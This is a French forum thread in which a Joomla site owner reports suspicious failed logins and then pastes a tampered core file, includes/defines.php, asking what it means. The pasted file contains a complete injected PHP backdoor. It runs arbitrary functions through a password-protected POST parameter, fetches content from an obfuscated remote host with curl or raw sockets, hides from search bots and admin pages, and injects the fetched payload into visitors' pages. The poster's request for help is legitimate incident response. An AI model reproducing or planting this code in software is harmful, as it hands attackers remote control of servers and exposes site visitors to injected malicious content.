Inquiet

Réduire
X
 
  • Filtrer
  • Heure
  • Afficher
Tout effacer
nouveaux messages

  • Inquiet

    Bonjour,
    Je suis en 3.5.1 ici avant de passer en 3.5.1 j'ai eu un fichier log de 500 Ko en une journée (@ip du Mexique) à tel point que la ressource mysql du serveur mutualité de chez online est tombée (enfin je ne suis pas sur qu'il y est relation) !!!

    Aujourd'hui je regarde mon fichier log, 1 ligne parmi x :
    2016-04-08T05:47:30+00:00 INFO 177.248.175.221 (Mexique) joomlafailure Username and password do not match or you do not have an account yet.
    j'ai un doute sur le message d'erreur qui est maintenant en anglais !

    Le hacker a un qwerty ? Avant je n'avais pas de message en anglais surtout que si je réalise moi même une erreur de connexion j'ai le retour en Français :
    2016-04-08T13:47:03+00:00 INFO 90.38.87.243 joomlafailure Un mot de passe vide n'est pas autorisé
    2016-04-08T13:47:18+00:00 INFO 90.38.87.243 joomlafailure Cet utilisateur n'existe pas

    Vous en pensez quoi ?

    Merci,

  • #2
    Re : Inquiet

    Me revoilà
    J'ai installé un Joomla vierge 3.5.1 sur mon Mac mini en local et j'ai fait un file merge des deux arborescence pour les parties communes.
    J'ai supprimer pas mal de fichiers etc ... Mais j'ai toujours mon fichier /include/defines qui est modifié et je ne sais pas comment !!! En voilà le contenu une fois modifié :
    <?php
    /**
    * @package Joomla.Site
    *
    * @copyright Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
    * @license GNU General Public License version 2 or later; see LICENSE.txt
    */

    defined('_JEXEC') or die;

    // Global definitions
    $parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);

    // Defines.
    define('JPATH_ROOT', implode(DIRECTORY_SEPARATOR, $parts));
    define('JPATH_SITE', JPATH_ROOT);
    define('JPATH_CONFIGURATION', JPATH_ROOT);
    define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');
    define('JPATH_LIBRARIES', JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');
    define('JPATH_PLUGINS', JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');
    define('JPATH_INSTALLATION', JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');
    define('JPATH_THEMES', JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');
    define('JPATH_CACHE', JPATH_BASE . DIRECTORY_SEPARATOR . 'cache');
    define('JPATH_MANIFESTS', JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');
    //istart


    function is_valid_url(&$url)
    {
    if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m))
    return false;
    $url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6];
    return true;
    }

    function request_url_data($url) {

    if(!is_valid_url($url))
    return false;

    $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
    if (function_exists('curl_init')) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
    'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
    'Referer: ' . $site_url,
    ));
    $response = trim(curl_exec($ch));
    } elseif (function_exists('fsockopen')) {
    $m = parse_url($url);
    if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
    fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
    'Host: ' . $m['host'] . "\r\n" .
    'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
    'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
    'Referer: ' . $site_url . "\r\n" .
    'Connection: Close' . "\r\n\r\n");
    $response = '';
    while (!feof($fp)) {
    $response .= fgets($fp, 1024);
    }
    list($headers, $response) = explode("\r\n\r\n", $response);
    fclose($fp);
    }
    } else {
    $response = 'curl_init and fsockopen disabled';
    }
    return $response;
    }

    function decrypt_url($encrypted_url)
    {
    $encrypted_url = base64_decode($encrypted_url);
    $url = '';
    for ($i = 0; $i < strlen($encrypted_url); $i++)
    {
    $url .= chr(ord($encrypted_url[$i]) ^ 3);
    }
    return $url;
    }
    error_reporting(0);
    $_passssword = 'bff526cf6b2dee241409bdcec6969f30';

    $p = $_POST;

    if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');




    if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) {
    echo('<!--checker_start ');
    $tmp = request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css');
    echo(substr($tmp, 50));
    echo(' checker_end-->');
    }
    unset($_passssword);

    $bad_url = false;
    foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
    if (preg_match($regex, $_SERVER['REQUEST_URI'])) {
    $bad_url = true;
    break;
    }
    }

    $cookie_name = 'PHP_SESSION_PHP';
    if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) != '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) {
    // setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/');
    // $url = base64_decode('a3d3czksLDIxNS0xMDItMjE0LTI7Oyxhb2x kLDxmc3Bqb2xtJXZ3blxwbHZxYGY+NDA6NTk7MTY2NTI5MjoxO w==');
    $url = decrypt_url('a3d3czksLDIxNS0xMDItMjE0LTI7Oyxhb2xkL Dxmc3Bqb2xtJXZ3blxwbHZxYGY+NDA6NTk7MTY2NTI5MjoxOw= =');
    $code = request_url_data($url);
    // if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
    if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
    $echo_done = true;
    print $decoded;
    }
    }//iend

    Vous en pensez quoi ?

    Merci,

    Commentaire

    Annonce

    Réduire
    Aucune annonce pour le moment.

    Partenaire de l'association

    Réduire

    Hébergeur Web PlanetHoster
    Travaille ...
    X